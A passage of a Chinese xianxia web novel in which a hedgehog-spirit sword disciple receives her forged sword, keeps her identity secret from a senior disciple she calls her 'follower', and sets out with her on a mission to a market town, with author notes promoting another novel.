结束后,云榆问过卞凝和应滟的态度,两人皆是准备晚两日再去。 她们铸剑比云榆晚两三日,自是先紧着先铸剑的人提要求,以免剑铸好后无法更改。 卞凝道:“云榆,明日你先去。杜师姐不是说,你的剑三五日便能铸好,若是最快三日,你明日去,应当是来得及的。” 应滟赞同:“对,不管怎么样,都是你先铸的剑,这个也理应你先。” 云榆没跟她们客气:“行,我明日去器物堂看看。” * 日升日落。 念着心中有事,云榆醒的很早,顾及到这个点去器物堂太早,有失礼貌,她没有立刻出门。 宁依给的肉干和药材干她还没打开尝尝,姑且当做早餐。 她各取出两条,放在碗中,倒了杯温水放在一侧。 肉干口感并不是很硬,偏湿一点,有嚼劲,吃起来香香的,口腔中弥漫肉香。 吃完一根,云榆喝了几口水,又捏起一根药材干。 只一入口,云榆吃出做药材干的药材,品阶当是不低的。 一炷香后,吃饱喝足的云榆坐至床榻边,摇身一变,变回原形。 小刺猬捂住唇打了个哈欠,懒洋洋地板鸭趴在床上小寐。 半个时辰后,估摸着时间差不多了,小刺猬再次变回人形,开了洞府门直往器物堂而去。 器物堂与灵丹堂不同,景色上少了春意盎然之感,建筑高大,峰阁边缘竖立着一方雕刻成巨石形状的矿物,上面龙飞凤舞地雕刻上“器物堂”三个大字。 再往前,每一块砖石都是由门下弟子炼制而出,吹风雨打,成色如新,半点摩擦痕迹都无。 沿着砖石走百米,便是第一座前殿,两方偏殿横立两端,对后方的主殿群形成保护之姿。 琉璃瓦片与外界不同,每一块都是弟子打磨而出,富丽堂皇又不失庄重威严。 远比上次与杜师姐来时看见的还要震撼。 一对比,云榆心中呐喊:剑法阁真的不是明越宗用来凑数的吗? 刚一进入前殿,门槛还未来得及跨,便有一位手持青绿色矿物的人从她身边经过,提醒她:“这位同门,非器物堂弟子,不可冒犯进入殿内。” 云榆默默地收回脚。 提醒她的丰寻春道:“不必这般拘谨,你是要找哪位还是来炼器?” 云榆道:“前几日我随剑法阁杜师姐前来铸剑,今日前来看看是否需要提供什么信息。” “剑法阁铸剑?”丰寻春道,“这样,你跟随我进殿,我带你过去。” 云榆忙说:“谢谢。” 丰寻春道:“不必客气,这边请。” 路上,丰寻春为不让路途过于无聊,她找话题道:“我听师姐提起过为剑法阁铸剑一事,我本以为今年有机会参与,不想只被发配了个寻找炼器之物的工作。” 云榆好奇:“能冒昧地问一下,师姐进入宗门多久了呢?” 听女人的口吻,想必来宗门时日不短,这声师姐,她叫不会出错。 丰寻春道:“快十年了。” 云榆震惊:“十年都不能参与铸剑吗?” 丰寻春倒是毫无所觉:“十年而已,对于修炼之人,弹指一挥间,昔日我们堂内的大师姐闭关,出来时,二十年时光已过。” 云榆目瞪口呆,光是闭关就二十年。 看出她的惊讶,丰寻春又道:“为剑法阁铸剑的师姐们,最低都是七品炼器师。”她笑道,“我再努努力就可以啦。” “丰寻春,让你拿个东西,怎么磨磨唧唧的,还与人闲聊。”刚过前殿,就见一人站在后殿门前,毫不客气地道。 云榆下意识扭头,身后空无一人。 反倒是身侧的师姐苦兮兮地挂着一张脸,再无方才的正经:“师姐,能不能给我留点面子,旁边还有别的峰阁的人呢!” 喊话的那人这才注意到丰寻春身旁站着的不是器物堂的弟子,半挑眉梢,转身进入殿内。 丰寻春撇嘴,快步跟上去,末了跑了几步,对云榆道:“师妹,你往左拐,直走即可。” 云榆伸手,想要感谢,但对方一溜烟地跑进了殿内。 云榆只好往左拐,迎面是并排而列的两方殿宇,一方上书“铸剑坊”,一方上写“炼琴所”,再一回头,右边亦是两方殿宇。 殿宇上方写着不同的名字。 是炼制不同器物之所。 云榆径直往铸剑坊去。 一入内,源源不断的热度自脚底侵袭而上,云榆固守灵珠,稳定自身灵力。 殿宇内,又分左右偏殿,云榆没有再进入。 她见到了那日同杜师姐来时,见到的女人。 风浅念一袭银发,翩然走近,弯下的眼中晃荡着万千春水,温顺和柔的气质从内而出。 甫一瞧见云榆,风浅念笑意停了瞬,随后不知是不是错觉,云榆感觉到这位风师姐似乎笑得更温柔了。 “云师妹?”风浅念的音色如她给人的感觉那般,清风拂面。 云榆拱手:“风师姐。” 风浅念微笑:“是来看铸剑情况的吗?” 她转身带着云榆往里走,不忘传了个音给灵丹堂的某位。 一方通体幽蓝,剑身内宛若有流水轻盈,自剑尖内里三公分自剑柄前端五公分,形成长形开口,口子里侧,则是深蓝纹理。 纹理内蕴含着浓重的水元素,剑身上没有繁复的花纹,简单的几条线勾勒其上,仔细看去,那几条线里藏着细密的水属性之力。 剑柄看上去平平无奇,但云榆感知到,在里面含着一枚水灵珠。 高品阶的水灵珠。 风浅念提剑:“云师妹看看,可有不满之处。” 云榆只觉得这把剑与她的契合度满分,她所想要的亦或是不敢希求的,都有。 是需要被人极度重视的感觉。 她眼眶微热:“没了,我很喜欢。”她咬住唇,指着剑柄的末端,“风师姐,可以在这里刻一颗星星吗?” 不是什么难事,风浅念道:“当然可以。” 云榆道谢。 这把剑还需要再锻造一遍,开刃。 “云师妹。”风浅念叫住要走的人。 云榆回头。 风浅念却又摇头:“没事。” 云榆疑惑,却也知分寸,拱手而退。 她走后,另一道身形自殿内而出,清冷出尘,让人过目难忘。 原以诗看了眼那把剑:“这位云师妹与依宁是何关系?” 风浅念笑盈盈:“谁知道呢?依宁给的那瓶丹药看着还不错。” * 出了器物堂的云榆从看过剑的喜悦中挣脱出来,她没忘记铸完的剑需要用灵石粉末打磨一遍。 一般来说需要五十枚灵石。 这需要她们自行支付。 剑法阁每月给的百枚灵石倒是够,可偏偏她之前用了不少,只剩下三十枚。 若是等下个月的灵石发放日,云榆自知等不及。 问别人借,这个念头刚冒出来就被云榆打消。 算了,届时去任务阁看看有没有她能做的任务,先凑够灵石再说。 回到洞府,云榆休息了会边去练剑之地修习。 剑马上就有了,下一步就是提高修为了,两套基础剑招结束,她们将自行修炼。 云榆用了三日的时间将新的剑招学过与此同时,那把剑铸造完毕,入了她的手。 量身打造的剑怎么用都顺手,这是铁剑无可比拟的感觉。 唯一的确定是未用灵石粉末打磨。 云榆将剩余的三十枚灵石压成粉,大致打磨了一遍。 去任务阁接任务前,她化为小刺猬,催动身上的刺。 不多时,收回到宁依的回应。 今晚两人再次相约膳食堂。 小刺猬悠哉悠哉地躺在床上,一只小爪子握不住剑,但剑已经认她为主,念动间,剑自动缩小。 夜深了,到了惯常与宁依相遇的时间点,小刺猬收好剑,兴高采烈地往膳食堂赶。 数日未来,小刺猬颇为怀念她的这个偷吃地点。 小刺猬到时,裴依宁已经等候在那,一盏烛灯立于桌台。 膳食堂内香气扑鼻。 裴依宁长身玉立,正将一盘刚炒好的菜装盘。 感知到小刺猬的气息,裴依宁微微一笑,歪头:“汤还没好。” 小刺猬熟稔地来到裴依宁身后,爬上女人的鞋子,顺着女人的大腿,中途被女人的手臂接住,放在了肩膀上。 小刺猬道:“宁依,你今夜怎么来这么早。” 饭菜都做好大半了。 裴依宁轻声道:“无事,又逢今夜膳食堂关得早,无人,便想着早点过来。” 小刺猬点点头:“不愧是宁依。” 这算是小刺猬的夸奖吗?裴依宁不确定,但无可否认,她很受用。 那日风浅念传音告诉她,云榆去了器物堂,还告诉她,剑法阁的那位云师妹对新铸的剑很满意。 她当时的回复是:【满意就好。】 可当风浅念再问为何对这位新师妹这么关注时,她却给不出答案了。 裴依宁双手叠放,目光不知落在何处。 直到站在肩膀上的人轻轻捏了下她的耳朵:“宁依,汤好像好了。” 她才回过神。 将骨汤端到饭桌上。 她坐下桌边,小刺猬一如既往地坐在桌面上。 下肢缩着,小小的身形夹菜时,上半身一伸一伸的。 尤其是小爪子至今没能很好的用筷子,只能攥着勺子,每当夹菜时,小刺猬再捏过一旁的筷子,费力地夹上一筷子。 不想在小跟班面前丢了面子,每当裴依宁抬眼时,小刺猬都会故作无事发生,实则暗地里牙龈都快咬碎了。 裴依宁今晚没有给小刺猬夹过几次菜,心不在焉的样子。 在一次肉块滑落,溅起的油汁从眼前飞过,裴依宁才将注意力转回。 她接过小刺猬捏着的筷子,低声浅笑:“星星要吃这个吗?” 她夹了几块到小刺猬碗中。 她回过神,小刺猬视线飘到哪道菜,她便跟着为小刺猬夹起那道菜放入对方碗中。 小刺猬满足极了。 一碗饭后,裴依宁为小刺猬盛了碗汤。 “宁依。”吃饱喝足的小刺猬走在灵丹堂外围,仰望着满天的星光,伸出一只小爪子。 怎么也够不到天上的星星,她遮住一只眼,视线中的星星数量少了点,她笑着松开,歪歪斜斜地倒在松软的草地上:“这几天我好开心。” 裴依宁坐在小刺猬旁边,她想学小刺猬那般躺在地上,挥动手臂,可几次下来,发觉自己做不出如小刺猬一样的举动。 她索性放弃,扬头望向漫天的星辰:“我也是,这几天很开心。” 遇见小刺猬后,她的情绪有了更多的起伏,有了更多的期待。 期待和小刺猬的每次见面。 小刺猬四肢摊开:“宁依,我发现我遇见你之后,运气好好。” “不对。”小刺猬喃喃自语,“是从被带入明越宗的那日起,运气就好好。遇见你后,运气更好了。” 小刺猬从草地上爬起,挪动到裴依宁面前,她本想靠在裴依宁身上,后背拢着的刺打消了她这个念头。 她正对着裴依宁,柔软的肚皮贴在裴依宁腿上,双爪扒在裴依宁膝盖上:“宁依,你会一直当我小跟班吗?” 裴依宁道:“会的。” 小刺猬像是下定了某种决心:“既然这样,我就告诉你一个小秘密好了。” 她说:“其实我是剑法阁的弟子,至于其她的,就不能告诉你了,日后有机会,再告诉你。” 作者有话说: 裴师姐:好像早就知道的小秘密。 第22章 第二十二章[VIP] 这是她告诉宁依的, 为数不多的有关自身的信息。 上一条信息,是初见时,她告诉宁依自己的小名。 小刺猬揉着爪下的衣料,去看面前女人的神情, 女人精致的五官在夜幕的裹挟下, 多了几分晦暗的阴影。 却在抬首时,接上迎面而来的月光, 她眉宇间的冷凝驱散殆尽, 柔和地与小刺猬对视。 女人展现出适当的惊讶和好奇:“星星是剑法阁的?” 小刺猬:“昂。” 不想让宁依追问下去,小刺猬不与女人对视了。 小刺猬谨慎地捂住身份。先著腐 本就知道的信息, 裴依宁没有追问的念头,又见小刺猬心虚地乱转眼珠。她唇边的弧度隐隐压不住。 裴依宁按下心绪滋长, 环抱的手臂搭下,落在小刺猬额间,似在感慨:“剑法阁我倒是没有多少认识的人。” 小刺猬奇怪地看向她:“你刚刚入宗,能将灵丹堂内的师姐妹认清就很好啦。” 裴依宁顿了下:“也是。” 晚风佛面,小刺猬散漫地趴在裴依宁的大腿上, 小爪子搭在女人的腿侧, 想要在草地上勾画, 却发现爪子过短, 挨不到地面, 只能放弃。 她困意渐起, 打了个哈欠,毫无防备地打起瞌睡。 小脑袋不受控制, 一点一点的。 裴依宁虚虚地抚上小刺猬的后背, 一根根刺柔软地贴合在后背,划过掌心, 并不刺人。 约莫一炷香后,小刺猬打了个激灵,猛然抬起头,黑漆漆地眸子中写满了茫然,一瞬不瞬地盯着某个地方。 裴依宁跟随小刺猬的视线看过去。 什么也没有。 是小刺猬刚从睡眠状态中苏醒,意识尚未清醒。 “星星?”裴依宁温声细哄,“天凉了,到我那睡会?” 小刺猬迟缓地分辨女人刚说的话,好半晌才是点点头。 裴依宁正要将小刺猬提起,却见小刺猬又摇摇头。 点头又摇头,这是什么意思。 裴依宁动作停住。 小刺猬微微张嘴,含糊不清的调调自口中传出,她哼唧了两声,脑袋重新抵在裴依宁的腿上,小爪子无意识地轻拍着女人的腿侧。 是还没睡醒。 裴依宁哑然失笑。 她缓而慢地往后靠,倾斜身体看小刺猬的睡姿。比在床上时,更添随意。 那些日子,小刺猬总是背对着她,少见得如现在这般,能看见星星睡着时的表情。 小嘴咕哝着听不清的话,脸颊两侧嘟起,轻颤。睡得深了,身体会突然抖一下。 乖巧的不像样子。 裴依宁心软了又软,小心翼翼地将手放在小刺猬身边,腿小幅度移动,将小刺猬换到她的手上趴着。 她举止平稳,可小刺猬对周遭环境感知敏锐,睡梦中被移动,潜意识传递出危险信号,小刺猬警惕地睁开眼,拢着的刺顷刻间炸开。 裴依宁:“星星,是我。” 熟悉的声音,熟悉的气息,小刺猬顺从地趴回去,尖锐的刺顺平贴在后背。 裴依宁捧着小刺猬往洞府走。 一串长长的道路,她只凭借脚力走着,双臂有节奏地晃动,安抚熟睡的小刺猬。 夜更深了,叶片上蓄起晶莹的露珠,衣衫边缘扫在草叶中,留下浅浅的湿痕。 睡得迷迷糊糊地小刺猬拱着女人的手腕,嗅嗅,低喃呓语让人听不清。 左不过是之前的话。 裴依宁猜。 “好香,想吃。”数日前的记忆被勾起,裴依宁垂目,趴在她掌心的小刺猬换了个姿势,四肢摊开,犹如一个“大”字形。 只是四肢过于短了,显得这个“大”字有种营养不良的感觉。 小刺猬想吃什么呢。裴依宁不知道。 脖颈处被凉风吹过,莫名痒起来。 洞府隔绝了外面的凉意,裴依宁将小刺猬放在床里侧。 是小刺猬惯常睡得位置。 平躺在小刺猬身边,裴依宁双手交叠放于小腹处,无半分睡意。 脑海中又一度上演那夜小刺猬变成人形,缩在她身上的画面。但人形只维持了不到一炷香的时间,便是又变回了小刺猬。 那晚,她一夜未眠。 今晚,她想再见一次小刺猬的人形。 恍然发觉不对劲之处,裴依宁闭上眼睛,清除大脑中混乱无序的想法。 侧过身,给小刺猬盖上专属的小被子,被子一角压在小刺猬的身下。 指尖陷入孔洞中,裴依宁目光下移,是小刺猬的刺将被子扎出洞了。 “宁依,晚安。”黏黏糊糊的声音,浅淡地随风飘散。 裴依宁这次听清了,她轻声回应:“晚安,星星。” 更轻的声音:“晚安,云榆。” 床榻上的小刺猬翻了个身。 一夜好梦,小刺猬睡醒,本能地揉动惺忪睡眼。一只眼睛先行睁开,熟悉的场景映入眼帘。 是宁依的洞府。 她昨晚在宁依这里睡的。 小刺猬接受程度很快,习以为常地伸爪往旁边一摸。 意料中的冷意没有,爪心碰到一处细腻温热的肌肤。 小刺猬僵硬地转过头,只见她的爪子探在身边女人的脖颈上。 两人距离极近,不然她的爪子也不会能轻易触碰到裴依宁的脖颈。 一张无限放大的脸出现在她的瞳孔中。 小刺猬怔愣住,眼底难掩惊艳。 裴依宁与小刺猬差不多时间醒来,刚一睁眼,脖颈被压住一物。 她侧头,敛住情绪的小刺猬悻悻收爪:“宁依,早上好。” 裴依宁不着痕迹地扭头:“星星,早上好。” 简单地吃过早餐,小刺猬要离开了。 小刺猬捏住手帕怼在嘴巴上:“宁依,下次见恐怕要隔许久了。” 她和宁依最长一次不见不过三五日,这次,没个七日恐怕都不行。 裴依宁抿了口刚泡好的茶水,热气蒸腾,升腾的白雾挡住女人的神情:“星星要闭关吗?” 小刺猬摇头:“不是,我需得去任务阁接点任务。”她真假混着,“许久不曾做任务了,手都生了。” 其实她还没接过任务阁的任务,若是直说,以宁依的聪明,很快就能猜到她是剑法阁新入的弟子。 而剑法阁新入的弟子就那么几个,很容易暴露她的人形。 小刺猬在这方面总是存有小心谨慎。 “接任务?”裴依宁许久不曾听过,略一思索,宗门内确有一处名为任务阁的地方,可以接各种任务。 她记得这些任务多不是强制形的,一般接任务的弟子分为两类,一是出宗历练,二则是获取灵石。 剑法阁每月为新弟子提供一百枚灵石,小刺猬给了她不少,应当剩不了几枚灵石了。 铸剑所需的灵石粉末,小刺猬约莫也是不够的。 无疑,小刺猬接任务是为了获取灵石。 但小刺猬目前的修为独自外出,她不放心。 裴依宁睫毛轻颤,话语先于理智而出:“我同你一起。”县朱负 这句话不像请求,更像是告知。 向来这种语调习惯了,裴依宁咬住舌尖,补充:“星星,我和你一起吧,相互间也能有个照应。” 小刺猬自是拒绝:“不行,你刚入宗,修为太低,若是受伤了怎么办?” 说这话时,小刺猬浑然忘记了自己的修为并不高,出宗同样有受伤的风险。 在小刺猬眼中,什么伤不曾受过,她不都挨过来了。 受伤犹如喝水,她早已习惯了疼痛和饥饿。 裴依宁道:“不会的,我会带足丹药。之前师姐给我的符纸还剩几张,就算遇到危险也不用担心,随时可以传送回来。” 她难得解释这么多,也是第一次主动提出与人组队被拒绝。 裴依宁轻轻拉住小刺猬的爪子:“带我一起,好不好。我不会给星星添乱的,”小刺猬犹豫,女人趁热打铁,继续道,“而且我自入宗以来,还没出过宗,更没接过任务,真的很想去尝试尝试。” 小刺猬不说话,在思考。 裴依宁心中叹气,又道:“星星,我总要历练的。” 小刺猬做出决定:“那你不能乱走,要时刻跟在我身边。” 裴依宁应得很快:“好的,唯星星命是从。” 一人一刺猬开始收拾行囊,小刺猬东西不多,有价值的都被她塞进了空间储物中。 于是,团成一团的小刺猬趴在窗沿边晒初升的太阳,懒懒地看裴依宁挑挑拣拣。 中途裴依宁出去了一趟,再回来时,一叠明黄色的符纸整齐的摆放在桌面上。 小刺猬身上的慵懒瞬间全无,支起后肢,凌空跳到那张桌子,打量那叠符纸。 最上方那张符纸上刻有繁复纹路,晦涩难懂,只一眼就让人头晕眼花。 小刺猬别过头,粗略估计有十数张。 不等她说话,爪子被抓住,随后,一件不是是何的东西套在了她身上,小刺猬一惊,就要挣脱。 裴依宁一边为小刺猬套上一样与她身体差不多颜色的衣服,一边道:“星星别动,这件法衣可以保护你的身体。” 小刺猬老老实实地张开双爪,背过身,茫然地问:“宁依,这法衣和符纸是从哪来的?” 裴依宁道:“我在器物堂和阵灵阁有认识的朋友,她们听我要去接任务,给了我一些防身之物。” 小刺猬眨眨眼:“宁依还认识别的峰阁的人?” 衣服穿好,裴依宁“嗯”了声,“这件法衣可以根据穿着者的形态变更形状和颜色,星星觉得怎么样?” 小刺猬头一次见这么新奇的东西,左看看右看看,扯了下,韧性和舒适度都是极好的,价格也当不菲:“多少灵石?” 裴依宁将符纸递给小刺猬:“朋友给的,没收我灵石。” 小刺猬不信,宁依才入宗多久,这法衣和符纸皆品阶不低,绕是不懂,也能猜出一二。 这么看,宁依认识的朋友不可能是新弟子。刚入宗就能与其她峰阁的师姐打成一片,小刺猬保持怀疑。 她没收符纸,裴依宁手臂悬在半空,手腕转动,明黄色的符纸在小刺猬面前晃动,翻飞浮动,纸张摩擦声清脆。 小刺猬推过裴依宁的手:“既然是你朋友给你的防身之物,你自己收好。”她拉起身上的法衣,“你给我这个了。” 裴依宁没再坚持,从符纸从抽出两张,别在小刺猬的法衣领口:“以备不时之需。” 小刺猬拗不过她,收入空间储物。 整理差不多了,小刺猬轻车熟路地爬上裴依宁的肩膀,刚站稳,身上被贴了一张符纸。 小刺猬:“……” 裴依宁道:“隐匿符纸,可以隐藏气息和身形,我们等会不是要去任务阁吗?你总不能这般大摇大摆地进入。” 是这么个理,可随随便便用掉一张符纸,小刺猬心头滴血。 畅通无阻地进入任务阁,一路上,小刺猬沉默不语,安静得像个玩偶,若非肩膀上的重量存在,裴依宁还当这只刺猬丢了。 任务阁的任务分为天、地、玄、黄四个等级,黄级是最低等,专是为宗门弟子练手之用,相对应的,所获得的酬劳也是最低的。 此刻任务阁内弟子不多,零星的几位提交任务,接取新的任务。 裴依宁少出现这,对任务阁的布局还有印象,她下意识望向天阶任务牌匾的方向。 下一秒,小刺猬捏住她的耳垂,传音给她:【宁依,我们去看看黄阶任务。】 至于其它三个阶级的任务,被小刺猬自觉忽略。 她和宁依两名新弟子,自身实力有清除的认知,第一次做任务,没必要托大。 裴依宁视线掠过黄阶牌匾上的任务,多是宗门弟子发布的,研磨矿石,替药材浇水之类的。 灵石大多只有三五枚。 过于少了,小刺猬上半身微微向前探去,找寻价格合适的任务。 不多时,一条有关采集炼器矿石的任务突然出现在黄阶任务牌匾上。 后方紧跟着的报酬是100枚灵石。 小刺猬眼睛顷刻间亮起,小爪子一指:“宁依,我们做这个任务。” 裴依宁应了声。 小刺猬又说:“拿你的弟子令牌接吧。” 她的弟子令牌一旦给宁依,根据令牌上的信息,她的身份依旧会迅速暴露。 小刺猬心里苦,隐瞒身份真的好难。 裴依宁“嗯”了声,纤长手指点在那条任务中,两只并拢,旋即,她取出弟子令牌,抬起,对准。 弟子令牌中间篆刻的古文亮起。 裴依宁余光瞥了眼小刺猬,见她注意力完全在那条任务上,快速翻转令牌。 接到任务后,还需去相应的负责人那里记录。 裴依宁抬眸,负责记录黄阶任务的负责人是个生面孔,迈步,几步而至。 将令牌递交给那位负责人。 负责人将令牌放置在检测石上,上方即刻显示出令牌持有者的身份和曾经做过的任务。 望着检测石显现出的密密麻麻的地级和天级任务,又看着刚提交记录的黄级任务,负责人瞪大了眼睛。 这差别太大了吧。 负责人根据弟子令牌认出面前女人的身份,道:“裴……” 裴依宁打断:“请问,这个任务我可以接吗?” 负责人结结巴巴道:“师……” 裴依宁低叹,灵力隔绝小刺猬所能听见的声音。 负责人的声音还在继续:“裴师姐,您接这等级的任务,太浪费时间了,不若换一个,最近有几条天阶任务无人做,师姐要不看看?” 裴依宁指骨点在检测石上:“你只管记录这条便是。” 负责人道:“是,师姐。” 并非负责人不让裴依宁接这条任务,属实是对于对方而言,太简单,也太低廉了,付出的时间与收获不成正比。 一百枚灵石,裴师姐随手炼制的丹药都不止这个价。 收回弟子令牌,裴依宁转身带着小刺猬往外走。 周遭无人之地,小刺猬传音:【宁依,为什么刚刚我看见你和她在说话,却是半点声音没听见?】 裴依宁回音:【许是交接任务时,为了保密性,有隔绝声音的东西。】 小刺猬将信将疑:【但她好像很怕你的样子,也不是怕,就感觉对你恭恭敬敬的。】 裴依宁歪头,出声:“有吗?” 声音蓦然从旁边传来,小刺猬缩了下身体:“有吧。” 裴依宁淡笑:“别人有礼貌而已。” 小刺猬眨眨眼,好像说得通。 一人一刺猬越过明越宗数道护宗大阵,翻过几座天然屏障,抵达宗门山脚下。 迎面是执法堂的几位看守,小刺猬往裴依宁的脖颈出挪动几分,按住贴住的隐匿符纸。 执法堂弟子有看守宗门内通外达之责,掌握各种可以检测人,妖,魔的物件。 她入宗时,有外人妄图混入宗门,带了类似于隐匿符纸的宝物,结果还踏入半步,就被执法堂的人从虚无中揪出,扔了出去。 小刺猬心提起。 她怎么忘了这茬。 然,直到出了宗门,执法堂的人也并未拦住她们。 小刺猬揭去符纸,站在裴依宁的肩膀上转身回望:“宁依,执法堂的器物是不是要换了?” 裴依宁掐了个诀,灵力闪动:“嗯?” 小刺猬分析:“你看,我是妖族人哎,但是路过她们的时候,她们一点反应都没有。若是日后有外人也贴我这般地隐匿符纸,岂不是可以随意进出宗门了?” 她们接下的那条任务中提到的矿石位于万里外的一处山头,只能依靠御剑而行或是瞬移符纸。 折中之下,裴依宁取出一张瞬移符纸,手臂弯曲上抬,小刺猬默契地蹦上去。 催动符纸前,裴依宁道:“她们检测出来了。” 当时为首的那位师妹手中的长棍颤抖厉害,一枚灵点指向性极强地漂浮在她的肩头。 裴依宁身形若影若现,符纸上的纹路由尾端蔓延直最高点:“但你是明越宗弟子。” 话音落下,裴依宁和小刺猬消失在原地。 再次出现,一人一刺猬已经到达万里外的山头脚下的一方小镇。 裴依宁两指间夹着的那张符纸灵气耗尽,黯淡无光地弯折而下,被人握在掌心,散为尘埃。 小刺猬停留在裴依宁的上句话中,无形的电流刺激着她的大脑。 对啊,她怎么忘记了,她是明越宗的弟子。 纵使宗内很少有人知晓她是妖族中人,但宗门内有妖族人是人尽皆知的。 只是看想不想被宗门大部分人知晓身份罢了。 而小刺猬就是不想让宗门人知晓的存在。 她只想紧紧裹住妖族人这一事实。 时隔数月,小刺猬得以回到世俗界,一切于她而言都是久别重逢。 小刺猬道:“宁依,我想下去。” 裴依宁半垂下手臂:“小心点。” 此处临近矿山,山内有一条小型灵石矿,无数想要淘得灵石的散修聚集此地,早就了一片繁荣之景。 来往人群皆是身着不同风格服饰,偶有穿着代表宗门服饰的人从她们身前路过。 小刺猬惊喜的在人群中穿梭,不时被挡住去路,会很耐心地停下来,等左右来人走过,才是继续往前。 裴依宁不紧不慢地在后方跟着。 忽而,小刺猬折返掉头,小爪子拉住她衣衫下摆:“宁依。” 不方便蹲下,裴依宁半弯下腰,倾听小刺猬说话。 小刺猬:“我看见那边有卖糖葫芦的,你想不想吃?” 裴依宁抬眸看去,鲜红的果子包裹住一层糖衣,艳丽的勾人。 她怎么忘了,小刺猬喜食食物,想来是馋了,想吃,但不好意思直说,眼巴巴地跑来问她。 裴依宁有意逗她:“不是很想吃。” 小刺猬点点头:“那我们看看别的,你有想吃的可以跟我说,我请你。” 她剩点灵石,买点吃的还是够的。 裴依宁哑然,片刻后,她说:“想吃。” 小刺猬迈出的步子撤回。 裴依宁又说了一遍:“星星,我想吃。” “好。”小刺猬没纠结裴依宁的摆动,从空间储物中取出一枚灵石,“给你。” 裴依宁:“不应该星星帮我买吗?” 小刺猬笑容一僵,气息萎靡,一闪而过,好似错觉。 她无所谓地笑笑:“宁依自己买吧。” 她悄悄使了净身术,蹦回到裴依宁肩膀上:“走吧,宁依。” 裴依宁察觉出一二,接过灵石往卖糖葫芦的那处而去。 一串糖葫芦用不了一枚灵石,那妇人只截取了一小部分,随后将糖葫芦递给裴依宁:“我这糖葫芦都是用新鲜山楂串的,放心吃,好吃的。” 老妇人眼尖的看见趴在女人身上的小刺猬,她随口道:“这是你养的小宠物吗?好可爱,是只小刺猬?” 裴依宁刚要否决,灵识内传来一道传音。 是小刺猬的:【跟她说,我是你养的小宠物。】 裴依宁哽住。 小刺猬的传音又进入她的灵识:【别吓到别人了。】 语气低落的让人心疼。 “不,她不是宠物。”裴依宁温声回答。 作者有话说: 推推好朋友河洛清伊的《总监诱妻的千层套路》,超级好看,也可以直接搜书号直达哦:8913784 文案: 预知梦/双向暗恋/先同居后恋爱 细腻年下&姐感年下 文案: 向晚朝有个秘密,她做的梦会成真。 最近几个月,她反复梦到同一个女人,甚至和那个女人在梦里这样那样。直到副总监上任大会这天,她在电梯里和陌生人撞了个满怀。 道歉的话到嘴边,她抬头去看,顿时被惊得说不出话。 这人竟然和梦里折腾她的女人长得一模一样。 *** 梦中的女人出现在眼前,向晚朝想的不是梦里的浓情蜜意,而是该怎么保持距离。 却不想阴差阳错之下,她竟成为女人的合住对象。 向晚朝:“……” 叶南枝依靠在门口,面带笑意:“对于合住,你有什么要求吗?” 向晚朝:“我可以换张床吗?我认床” 床是下午搬来的,梦是晚上做的,连触感都更清晰了。 她从旖旎的梦中惊醒,劫后余生般的:不行,她得搬走,尽快、立刻、马上!!! *** 可惜天不遂人愿,短期之内确实找不到心仪的房子,搬离计划不得不推迟。 然而梦中的一幕幕接二连三的发生,叶南枝真如梦中那般事事周到,对她关心备至。 她的一颗心不禁摇摆起来,甚至开始期待预知梦,期待叶南枝的行为,直到最后,她有些按捺不住了。 于是趁着酒劲,她将叶南枝顶在玄关处。 “我梦到和你谈恋爱了。” “我梦到你特别、特别喜欢我。” 叶南枝眼尾氤氲,手轻揽在她的腰肢上:“只梦到和我谈恋爱了吗?有没有…梦到别的?” 第23章 第二十三章[VIP] 裴依宁素手捏着竹签, 指腹泛白,掀开的糯米纸一端摇摇晃晃地贴在它处,融化的糖衣凝成黏腻的糖水往下缓慢流动。 老妇人只诧异了下,侧过身体, 警惕周边无人, 才是道:“不是灵宠?” 裴依宁温婉而笑,提了下糖葫芦, 抚摸过小刺猬顺过刺的后背, 手肘拐动,第一颗糖葫芦被小刺猬稀里糊涂地咬上口。 一侧被咬下, 第一颗山楂球要掉不掉挂在竹签上,小刺猬嘴被堵上, 支吾吾地哼了两句,扬脖子,短小的喉咙滚下一个球状物。 老妇人心里明白了什么,她在这卖了多年糖葫芦,见惯了各色来往之人, 妖族和魔族之人见的也不少。 这只小刺猬多半是妖族的。 小刺猬刚咽下食物, 就见老妇人不断扫过她, 心中一紧, 下肢无意识地抓紧裴依宁的肩膀, 俯身让身量更矮。 同时传音给裴依宁:【宁依, 快走。】 恰在此刻,老妇人上前半步, 苍老褶皱的手伸来, 一支糖葫芦伸到小刺猬面前。 同样满是褶皱的脸上挤出笑容,皱纹接连在一起:“吃吧。” 小刺猬迟疑地接过。 老妇人扛起草靶子, 往后甩动,慈爱地道:“是只还没开智的小刺猬。” 那双黑漆漆地眸子中盛满了对外界的探索,晃着几分天真,着实看不出是个开智的妖族。 小刺猬目送老妇人换到另一边,思绪跟随,爪子被重物压着往下。 裴依宁适时搭在小刺猬的手臂下方。 小刺猬收回视线,与先前的失落不同,她兴奋地举起糖葫芦,显摆似地:“宁依,你看,我没花钱。” 她的惊喜溢于言表:“是有人愿意给小动物食物吃的。” 裴依宁“嗯”了声,托着小动物往街道的另一端而去。 小刺猬吃得很香,很好吃的样子。 裴依宁不由自主地抬起,最外面的那半颗还挂在竹签上,心理作用下,上方牙印明显。 她咬下那半颗。 很甜,也很酸。 不是她惯常喜欢的口味。 一路走到街道繁茂之处,巨大的牌匾引得小刺猬频频看去,鳞次栉比的建筑更是看得眼花缭乱。 “据说此地晚上最为热闹。”裴依宁忽而道。 小刺猬脸颊被一颗山楂球堵着,含糊地:“天色太早,恐怕见不到夜景了。” 她们找寻完炼器矿石便要赶回,夜路难走,不安全。 前方一道立起来的牌匾出现,裴依宁调转脚步:“在这住一晚便是。” 出宗一趟不易,只是为了做任务而快速来回,岂非少了许多乐趣,况且,看小刺猬这样子,也是想多在外逛会的。 她事先准备好:“灵丹堂本月发送的灵石剩余许多,够我们住一晚了。” 小刺猬咬到一颗酸度过高的山楂,呲牙咧嘴地咬紧牙关。 裴依宁不知从哪变出的一颗蜜枣,顺势塞入小刺猬口中。 酸甜中和,小刺猬缓和过来,戳着那颗酸山楂球,眼一闭,咬下,混乱嚼几下,狠狠咽下去。 只听得喉咙传出“咕咚”声。 又咬下糖衣含在口中,小刺猬道:“花你的灵石?不行。” 哪有花跟班钱的道理,未来传出去,有损刺猬的脸面。 总是在一些奇奇怪怪的地方格外注意这些。 裴依宁已经走近这家客栈,扑面来的暖气让人周身一暖,橙黄色的灯调配地极好,走过几步,又是亮堂的冷光。 中间过渡竟不觉得光线变化。 